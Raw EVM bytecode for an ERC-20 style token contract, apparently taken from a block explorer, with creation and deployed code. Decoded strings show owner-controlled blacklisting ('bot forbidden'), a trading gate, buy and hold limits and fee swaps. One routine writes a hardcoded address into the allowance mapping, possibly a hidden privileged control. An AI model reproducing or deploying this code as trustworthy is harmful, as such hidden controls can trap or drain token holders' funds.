e81620030d5565b6000601d54602c548362002863919062004157565b600d5460ff1615620011ee5760105415620011ee576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c62573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002c88919062003fc4565b62002c94908362003fae565b1115620011ee5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001168565b6001600160a01b03831662002d4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001168565b6001600160a01b03821662002dae5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001168565b6200136f83838362002394565b43601854601b5462002dce919062003fae565b111562002dd757565b601754479081101562002de75750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e32573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e58919062003fc4565b601154909150600090819081908180805a90505b6019548310801562002e7d57508382105b15620030035783601a541062002e98576000601a5562003003565b6011601a548154811062002eb05762002eb062003f66565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002fb8576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f2b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f51919062003fc4565b9550601654861062002fb8578762002f6a878b62004157565b62002f76919062004134565b9450841562002fb8576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fb6573d6000803e3d6000fd5b505b5a62002fc590826200411e565b62002fd1908462003fae565b92505a601a8054919250600062002fe88362003f92565b9190505550818062002ffa9062003f92565b92505062002e6c565b505043601b5550505050505050565b6001600160a01b0382166200306a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001168565b80600260008282546200307e919062003fae565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6033805460ff60a01b1916600160a01b179055602a54600090156200312257601d54602a5462003106908462004157565b62003112919062004134565b9050620031223060018362002394565b602854600090156200316f57601d5460285462003140908562004157565b6200314c919062004134565b6032546033549192506200316f9183916001600160a01b03908116911662003444565b6000816200317e84866200411e565b6200318a91906200411e565b905060006027541180620031a057506000602954115b8015620031ad5750600081115b156200343157603354620031cc9082906001600160a01b0316620037be565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa1580156200321e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003244919062003fc4565b905060008060275411156200330b5760295460275462003265919062003fae565b60275462003274908462004157565b62003280919062004134565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af1158015620032e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620033099190620040de565b505b808211156200342e576008546033546001600160a01b03918216916323b872dd9116306200333a85876200411e565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156200338f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620033b59190620040de565b506008546040516370a0823160e01b81523060048201526200342e916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003402573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003428919062003fc4565b6200382a565b50505b50506033805460ff60a01b191690555050565b60006200345360028562004134565b9050600060076001815481106200346e576200346e62003f66565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa158015620034c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620034ea919062003fc4565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d79590620035279086906000906007908a904290600401620041d9565b600060405180830381600087803b1580156200354257600080fd5b505af115801562003557573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa158015620035a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035cb919062003fc4565b90506000620035db83836200411e565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af115801562003635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200365b9190620040de565b50600081118015620036785750600062003676868a6200411e565b115b15620037b457600654600780546001600160a01b039092169163e8e337009190600090620036aa57620036aa62003f66565b600091825260209091200154600780546001600160a01b03909216916001908110620036da57620036da62003f66565b6000918252602090912001546001600160a01b0316620036fb898d6200411e565b856000808e6200370d42600962003fae565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af11580156200378a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620037b0919062004217565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d79590620037fa90859060009060079087904290600401620041d9565b600060405180830381600087803b1580156200381557600080fd5b505af115801562001d0a573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b179052516200387e919062004246565b6000604051808303816000865af19150503d8060008114620038bd576040519150601f19603f3d011682016040523d82523d6000602084013e620038c2565b606091505b5050905080620011ee5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001168565b610147806200426583390190565b8280548282559060005260206000209081019282156200397b579160200282015b828111156200397b57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062003944565b50620039899291506200398d565b5090565b5b808211156200398957600081556001016200398e565b60005b83811015620039c1578181015183820152602001620039a7565b50506000910152565b6020815260008251806020840152620039eb816040850160208701620039a4565b601f01601f19169190910160400192915050565b6001600160a01b03811681146200171f57600080fd5b6000806040838503121562003a2957600080fd5b823562003a3681620039ff565b946020939093013593505050565b60006020828403121562003a5757600080fd5b5035919050565b80151581146200171f57600080fd5b6000806000806080858703121562003a8457600080fd5b843562003a918162003a5e565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003ac157600080fd5b833562003ace81620039ff565b9250602084013562003ae081620039ff565b929592945050506040919091013590565b60008060006060848603121562003b0757600080fd5b8335925060208401359150604084013562003b2281620039ff565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003b6f5762003b6f62003b2d565b604052919050565b600067ffffffffffffffff82111562003b945762003b9462003b2d565b5060051b60200190565b600082601f83011262003bb057600080fd5b8135602062003bc962003bc38362003b77565b62003b43565b82815260059290921b8401810191818101908684111562003be957600080fd5b8286015b8481101562003c1157803562003c0381620039ff565b835291830191830162003bed565b509695505050505050565b60006020828403121562003c2f57600080fd5b813567ffffffffffffffff81111562003c4757600080fd5b62003c558482850162003b9e565b949350505050565b60006020828403121562003c7057600080fd5b8135620010f381620039ff565b6000806040838503121562003c9157600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003ce35783516001600160a01b03168352928401929184019160010162003cbc565b50909695505050505050565b6000806040838503121562003d0357600080fd5b823567ffffffffffffffff81111562003d1b57600080fd5b62003d298582860162003b9e565b925050602083013562003d3c8162003a5e565b809150509250929050565b6000806040838503121562003d5b57600080fd5b823562003d6881620039ff565b9150602083013562003d3c8162003a5e565b6000806040838503121562003d8e57600080fd5b823562003d9b81620039ff565b9150602083013562003d3c81620039ff565b6000806000806080858703121562003dc457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003df457600080fd5b82359150602083013567ffffffffffffffff81111562003e1357600080fd5b62003e218582860162003b9e565b9150509250929050565b6000806040838503121562003e3f57600080fd5b823567ffffffffffffffff8082111562003e5857600080fd5b818501915085601f83011262003e6d57600080fd5b8135602062003e8062003bc38362003b77565b82815260059290921b8401810191818101908984111562003ea057600080fd5b948201945b8386101562003ec05785358252948201949082019062003ea5565b9650508601359250508082111562003ed757600080fd5b5062003e218582860162003b9e565b600181811c9082168062003efb57607f821691505b60208210810362003f1c57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003fa75762003fa762003f7c565b5060010190565b8082018082111562001091576200109162003f7c565b60006020828403121562003fd757600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b838110156200401e5781546001600160a01b03168752958201956001918201910162003ff7565b509495945050505050565b82815260406020820152600062003c55604083018462003fde565b600060208083850312156200405857600080fd5b825167ffffffffffffffff8111156200407057600080fd5b8301601f810185136200408257600080fd5b80516200409362003bc38262003b77565b81815260059190911b82018301908381019087831115620040b357600080fd5b928401925b82841015620040d357835182529284019290840190620040b8565b979650505050505050565b600060208284031215620040f157600080fd5b8151620010f38162003a5e565b6000602082840312156200411157600080fd5b8151620010f381620039ff565b8181038181111562001091576200109162003f7c565b6000826200415257634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141762001091576200109162003f7c565b80516001600160701b03811681146200418957600080fd5b919050565b600080600060608486031215620041a457600080fd5b620041af8462004171565b9250620041bf6020850162004171565b9150604084015163ffffffff8116811462003b2257600080fd5b85815284602082015260a060408201526000620041fa60a083018662003fde565b6001600160a01b0394909416606083015250608001529392505050565b6000806000606084860312156200422d57600080fd5b8351925060208401519150604084015190509250925092565b600082516200425a818460208701620039a4565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212204722655dd8445bb2b0c1927cd39034b5b5fa33a3f7f303ed7ee2ec0ec39f133264736f6c63430008110033a26469706673582212206aa780295686b1940231a492dc348613f0aaebe9fbe10cdd3097392bd1ea125464736f6c634300081100334e6f4566666563743a2063616c6c6572206973206e6f74207468652065666665
Deployed Bytecode
0x608060405260043610620005135760003560e01c80638f529912116200029f578063c1e9afa2116200016b578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f2d578063f887ea401462000f45578063faee3dd41462000f67578063fdef69491462000f7f578063fe98e00c1462000f97578063fefe84fd1462000fbc57600080fd5b8063ec4dbb301462000e8e578063f0a7c6d81462000eb3578063f2fde38b1462000ecb578063f3f48fdc1462000ef0578063f4a3ff3d1462000f0857600080fd5b8063d36e8239116200012a578063d36e82391462000dd5578063d4d7b19a1462000ded578063d8d3d4471462000e21578063dd54ef6e1462000e39578063dd62ed3e1462000e51578063e1c7392a1462000e7657600080fd5b8063c1e9afa21462000d2a578063c54e44eb1462000d42578063c8a528941462000d64578063c9567bf91462000d89578063ca0277761462000da157600080fd5b8063a8aa1b311162000211578063b6d6303011620001d0578063b6d630301462000c76578063b90922b81462000c98578063b9f8d0d71462000cb0578063ba033c111462000cd5578063bcc100f11462000ced578063bdf7a8e61462000d0557600080fd5b8063a8aa1b311462000bcd578063a9059cbb1462000bef578063ae9163291462000c14578063b572fe341462000c39578063b66e49c71462000c5e57600080fd5b80639c27242b116200025e5780639c27242b1462000b315780639d6109f81462000b495780639ffecfb71462000b61578063a21f31101462000b86578063a457c2d71462000ba857600080fd5b80638f5299121462000a9257806395d89b411462000aaa578063961d3cd31462000ac2578063996d03091462000ae757806399f7d6731462000b0c57600080fd5b80633812e91411620003df5780635b7b15c311620003515780636e4db58711620003105780636e4db58714620009ce57806370a0823114620009f0578063715018a61462000a2a57806373724dd51462000a42578063864e18271462000a5a5780638da5cb5b1462000a7257600080fd5b80635b7b15c3146200092d5780635fe8e7cc146200095257806360f521411462000979578063622565891462000991578063673687b714620009a957600080fd5b80634c7552d6116200039e5780634c7552d614620008845780634e6b805e14620008a657806353674ba614620008cb57806359102a0714620008f057806359909858146200090857600080fd5b80633812e91414620007da5780633950935114620007f257806339a74c8c14620008175780633bbac579146200082f578063438d64e1146200086c57600080fd5b80632a11ced011620004855780632c20aafa11620004445780632c20aafa14620007285780632dab693f14620007405780632f8a21bf1462000758578063313ce567146200077257806331c71f4d146200079057806333f96f4614620007b557600080fd5b80632a11ced014620006a05780632a29ad3b14620006c55780632a59551214620006dd5780632b0e258e14620006f55780632b20fafe146200070d57600080fd5b80631a2e207911620004d25780631a2e207914620005eb5780632287fcb7146200062657806323b872dd146200064b578063240d7d71146200067057806326987b60146200068857600080fd5b806306fdde031462000520578063095ea7b31462000550578063155fc50d146200058657806316f9a5ec14620005ad57806318160ddd14620005d457600080fd5b366200051b57005b600080fd5b3480156200052d57600080fd5b506200053862000fe1565b604051620005479190620039ca565b60405180910390f35b3480156200055d57600080fd5b50620005756200056f36600462003a15565b6200107b565b604051901515815260200162000547565b3480156200059357600080fd5b506200059e60185481565b60405190815260200162000547565b348015620005ba57600080fd5b50620005d2620005cc36600462003a44565b62001097565b005b348015620005e157600080fd5b506002546200059e565b348015620005f857600080fd5b506033546200060d906001600160a01b031681565b6040516001600160a01b03909116815260200162000547565b3480156200063357600080fd5b50620005d26200064536600462003a6d565b620010a6565b3480156200065857600080fd5b50620005756200066a36600462003aab565b620010d0565b3480156200067d57600080fd5b506200059e60205481565b3480156200069557600080fd5b506200059e601a5481565b348015620006ad57600080fd5b506200060d620006bf36600462003a44565b620010fa565b348015620006d257600080fd5b506200059e60255481565b348015620006ea57600080fd5b506200059e601b5481565b3480156200070257600080fd5b506200059e60165481565b3480156200071a57600080fd5b50600b546001111562000575565b3480156200073557600080fd5b506200059e601e5481565b3480156200074d57600080fd5b506200059e60305481565b3480156200076557600080fd5b50600b5460011062000575565b3480156200077f57600080fd5b506040516012815260200162000547565b3480156200079d57600080fd5b50620005d2620007af36600462003af1565b62001125565b348015620007c257600080fd5b50620005d2620007d436600462003c1c565b6200119b565b348015620007e757600080fd5b506200059e602b5481565b348015620007ff57600080fd5b50620005756200081136600462003a15565b620011f2565b3480156200082457600080fd5b506200059e60245481565b3480156200083c57600080fd5b50620005756200084e36600462003c5d565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200087957600080fd5b506200059e60315481565b3480156200089157600080fd5b506008546200060d906001600160a01b031681565b348015620008b357600080fd5b50620005d2620008c536600462003c7d565b6200121a565b348015620008d857600080fd5b50620005d2620008ea36600462003a44565b6200122f565b348015620008fd57600080fd5b506200059e602d5481565b3480156200091557600080fd5b50620005d26200092736600462003a44565b62001277565b3480156200093a57600080fd5b50620005d26200094c36600462003a44565b62001286565b3480156200095f57600080fd5b506200096a62001295565b60405162000547919062003ca0565b3480156200098657600080fd5b506200059e60285481565b3480156200099e57600080fd5b50620005d2620012f8565b348015620009b657600080fd5b50620005d2620009c836600462003cef565b6200131b565b348015620009db57600080fd5b506032546200060d906001600160a01b031681565b348015620009fd57600080fd5b506200059e62000a0f36600462003c5d565b6001600160a01b031660009081526020819052604090205490565b34801562000a3757600080fd5b50620005d262001374565b34801562000a4f57600080fd5b50620005d26200138a565b34801562000a6757600080fd5b506200059e600b5481565b34801562000a7f57600080fd5b506009546001600160a01b03166200060d565b34801562000a9f57600080fd5b506200059e60175481565b34801562000ab757600080fd5b50620005386200145a565b34801562000acf57600080fd5b50620005d262000ae136600462003d47565b6200146b565b34801562000af457600080fd5b50620005d262000b0636600462003d47565b620014a0565b34801562000b1957600080fd5b50620005d262000b2b36600462003d7a565b620014d5565b34801562000b3e57600080fd5b506200059e602c5481565b34801562000b5657600080fd5b50620005d26200158c565b34801562000b6e57600080fd5b506200059e62000b8036600462003a44565b620015b0565b34801562000b9357600080fd5b506014546200060d906001600160a01b031681565b34801562000bb557600080fd5b506200057562000bc736600462003a15565b6200166e565b34801562000bda57600080fd5b506005546200060d906001600160a01b031681565b34801562000bfc57600080fd5b506200057562000c0e36600462003a15565b620016fa565b34801562000c2157600080fd5b50620005d262000c3336600462003c5d565b6200170a565b34801562000c4657600080fd5b50620005d262000c5836600462003d47565b62001722565b34801562000c6b57600080fd5b50620005d262001757565b34801562000c8357600080fd5b50602f546200060d906001600160a01b031681565b34801562000ca557600080fd5b506200059e60195481565b34801562000cbd57600080fd5b50620005d262000ccf36600462003dad565b62001768565b34801562000ce257600080fd5b506200059e60265481565b34801562000cfa57600080fd5b506200059e601f5481565b34801562000d1257600080fd5b50620005d262000d2436600462003de0565b62001796565b34801562000d3757600080fd5b506200059e60215481565b34801562000d4f57600080fd5b506015546200060d906001600160a01b031681565b34801562000d7157600080fd5b50620005d262000d8336600462003e2b565b620017e1565b34801562000d9657600080fd5b50620005d262001848565b34801562000dae57600080fd5b506200057562000dc036600462003c5d565b60136020526000908152604090205460ff1681565b34801562000de257600080fd5b506200059e602e5481565b34801562000dfa57600080fd5b506200057562000e0c36600462003c5d565b60126020526000908152604090205460ff1681565b34801562000e2e57600080fd5b506200059e60275481565b34801562000e4657600080fd5b506200059e60225481565b34801562000e5e57600080fd5b506200059e62000e7036600462003d7a565b62001858565b34801562000e8357600080fd5b50620005d262001883565b34801562000e9b57600080fd5b50620005d262000ead36600462003aab565b620018e9565b34801562000ec057600080fd5b506200059e601d5481565b34801562000ed857600080fd5b50620005d262000eea36600462003c5d565b620019a2565b34801562000efd57600080fd5b506200059e60295481565b34801562000f1557600080fd5b50620005d262000f2736600462003dad565b62001a1e565b34801562000f3a57600080fd5b50620005d262001a46565b34801562000f5257600080fd5b506006546200060d906001600160a01b031681565b34801562000f7457600080fd5b506200059e602a5481565b34801562000f8c57600080fd5b506200059e60235481565b34801562000fa457600080fd5b50620005d262000fb636600462003cef565b62001a57565b34801562000fc957600080fd5b50620005d262000fdb36600462003d7a565b62001acf565b60606003805462000ff29062003ee6565b80601f0160208091040260200160405190810160405280929190818152602001828054620010209062003ee6565b8015620010715780601f10620010455761010080835404028352916020019162001071565b820191906000526020600020905b8154815290600101906020018083116200105357829003601f168201915b5050505050905090565b6000336200108b81858562001d12565b60019150505b92915050565b620010a162001e3a565b601855565b620010b062001e3a565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010e085828562001e7d565b620010ed85858562001ef8565b60019150505b9392505050565b601181815481106200110b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200114957506009546001600160a01b031633145b620011715760405162461bcd60e51b8152600401620011689062003f22565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b620011a562001e3a565b60005b8151811015620011ee57620011d9828281518110620011cb57620011cb62003f66565b602002602001015162002221565b80620011e58162003f92565b915050620011a8565b5050565b6000336200108b81858562001208838362001858565b62001214919062003fae565b62001d12565b6200122462001e3a565b601691909155601755565b600a546001600160a01b03163314806200125357506009546001600160a01b031633145b620012725760405162461bcd60e51b8152600401620011689062003f22565b602e55565b6200128162001e3a565b601955565b62001290620022e1565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200107157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012d0575050505050905090565b6200130262001e3a565b600d5460ff16156200131957600d805460ff191690555b565b62001325620022e6565b60005b82518110156200136f576200135a8382815181106200134b576200134b62003f66565b602002602001015183620014a0565b80620013668162003f92565b91505062001328565b505050565b6200137e620022e6565b62001319600062002342565b602354601f546200139c919062003fae565b602755602454602054620013b1919062003fae565b602855602554602154620013c6919062003fae565b602955602654602254620013db919062003fae565b602a55602254602154602054601f54620013f6919062003fae565b62001402919062003fae565b6200140e919062003fae565b602b5560265460255460245460235462001429919062003fae565b62001435919062003fae565b62001441919062003fae565b602c819055602b5462001455919062003fae565b602d55565b60606004805462000ff29062003ee6565b6200147562001e3a565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b620014aa620022e6565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014f957506009546001600160a01b031633145b620015185760405162461bcd60e51b8152600401620011689062003f22565b6040516370a0823160e01b8152306004820152620011ee90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001566573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000ead919062003fc4565b6200159662001e3a565b600d5460ff166200131957600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015ea90869060079060040162004029565b600060405180830381865afa15801562001608573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405262001632919081019062004044565b905060018151111562001665578060018151811062001655576200165562003f66565b6020026020010151915050919050565b50600092915050565b600033816200167e828662001858565b905083811015620016e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001168565b620016ef828686840362001d12565b506001949350505050565b6000336200108b81858562001ef8565b6200171462001e3a565b6200171f8162002221565b50565b6200172c62001e3a565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b62001761620022e1565b6000600b55565b62001772620022e6565b6023849055602483905560258290556026819055620017906200138a565b50505050565b60005b81518110156200136f57620017cc33838381518110620017bd57620017bd62003f66565b60200260200101518562002394565b80620017d88162003f92565b91505062001799565b60005b81518110156200136f57620018333383838151811062001808576200180862003f66565b602002602001015185848151811062001825576200182562003f66565b602002602001015162002394565b806200183f8162003f92565b915050620017e4565b62001852620022e1565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6200188d620022e6565b6c3502ee929df4b7e73e4000000073cb5590bc10bd233b646b4cf117106a9844b1bbe27317cba6054dbbc7a66838a5a156c050521fe5b6626200136f83838373c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600162002475565b600a546001600160a01b03163314806200190d57506009546001600160a01b031633145b6200192c5760405162461bcd60e51b8152600401620011689062003f22565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af11580156200197c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620017909190620040de565b620019ac620022e6565b6001600160a01b03811662001a135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001168565b6200171f8162002342565b62001a28620022e6565b601f849055602083905560218290556022819055620017906200138a565b62001a50620022e1565b6001600b55565b62001a6162001e3a565b60005b82518110156200136f5781600c600085848151811062001a885762001a8862003f66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001ac68162003f92565b91505062001a64565b62001ad962001e3a565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001b64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b8a9190620040fe565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001bdb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c019190620040fe565b600580546001600160a01b0319166001600160a01b0392909216918217905562001c2f9083908590620025c8565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001c84573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001caa9190620040de565b5062001cba308460001962001d12565b506005546001600160a01b031692915050565b6200136f6001848484620010a6565b62001ce8868662001acf565b62001cf484846200121a565b62001cff8262001097565b62001d0a8162001277565b505050505050565b6001600160a01b03831662001d765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001168565b6001600160a01b03821662001dd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001168565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001e5e57506009546001600160a01b031633145b620013195760405162461bcd60e51b8152600401620011689062003f22565b600062001e8b848462001858565b9050600019811462001790578181101562001ee95760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001168565b62001790848484840362001d12565b6001600160a01b0383166000908152601c6020526040902054839060ff161562001f555760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001168565b6001600160a01b0383166000908152601c6020526040902054839060ff161562001fb25760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001168565b6001600160a01b0385166000908152600c602052604090205460ff168062001ff257506001600160a01b0384166000908152600c602052604090205460ff165b8062001ffc575082155b1562002015576200200f85858562002394565b6200221a565b60008062002031876005546001600160a01b0390811691161490565b15620020c657600b546001106200208b5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001168565b62002097868662002731565b620020a4878787620027a6565b15620020b25750506200221a565b620020be87866200284e565b9150620021de565b6005546001600160a01b03808816911603620021bf57600b5460011115620021315760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001168565b8462002152886001600160a01b031660009081526020819052604090205490565b036200216857620021656065866200411e565b94505b620021726200287e565b156200218157506001620021ae565b6200218c8562002b33565b602d54156200219f576200219f62002ba2565b620021ab878662002bf0565b91505b620021b98762002221565b620021de565b620021cb868662002c05565b602d5415620021de57620021de62002ba2565b620021f68787620021f085896200411e565b62002ce4565b600060295411801562002207575080155b1562002217576200221762002dbb565b50505b5050505050565b6001600160a01b0381163b15620022355750565b6001600160a01b03811660009081526013602052604090205460ff16156200225a5750565b6001600160a01b03811660009081526012602052604090205460ff166200171f576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620013195b6009546001600160a01b03163314620013195760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001168565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316600090815260208190526040902054818110156200240e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001168565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b612710601d8190556007601e55620024a0906200249460648862004134565b620008ea919062004134565b603280546001600160a01b0319166001600160a01b038616179055620024c7838662003012565b620024d43360016200146b565b620024e13060016200146b565b620024ee8460016200146b565b620024fb8360016200146b565b80156200255a576200250f30600162001722565b6200251d6000600162001722565b6200252a60018062001722565b6200253961dead600162001722565b62002544846200170a565b6200254f836200170a565b6200255a336200170a565b620025646200138a565b81604051620025739062003915565b6001600160a01b039091168152602001604051809103906000f080158015620025a0573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b600880546001600160a01b0319166001600160a01b03851617905560408051600280825260608201835260009260208301908036833701905050905030816000815181106200261b576200261b62003f66565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811062002652576200265262003f66565b6001600160a01b0390921660209283029190910182015281516200267d916007919084019062003923565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af11580156200270b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200221a9190620040de565b600d5460ff1615620011ee57600e54156200279a57600e548111156200279a5760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001168565b620011ee828262002c05565b600060305460001480620027ba5750603154155b15620027c957506000620010f3565b603054600b54620027db919062003fae565b43101562002844576000601d5460315484620027f8919062004157565b62002804919062004134565b602f549091506200282c9086906001600160a01b03166200282684876200411e565b62002394565b6200283985858362002394565b6001915050620010f3565b5060009392505050565b6000601d54602b548362002863919062004157565b6200286f919062004134565b90506200109183308362002394565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015620028d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620028fb9190620040fe565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562002953573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029799190620040fe565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015620029d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029f891906200418e565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a59573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a7f919062003fc4565b6005546040516370a0823160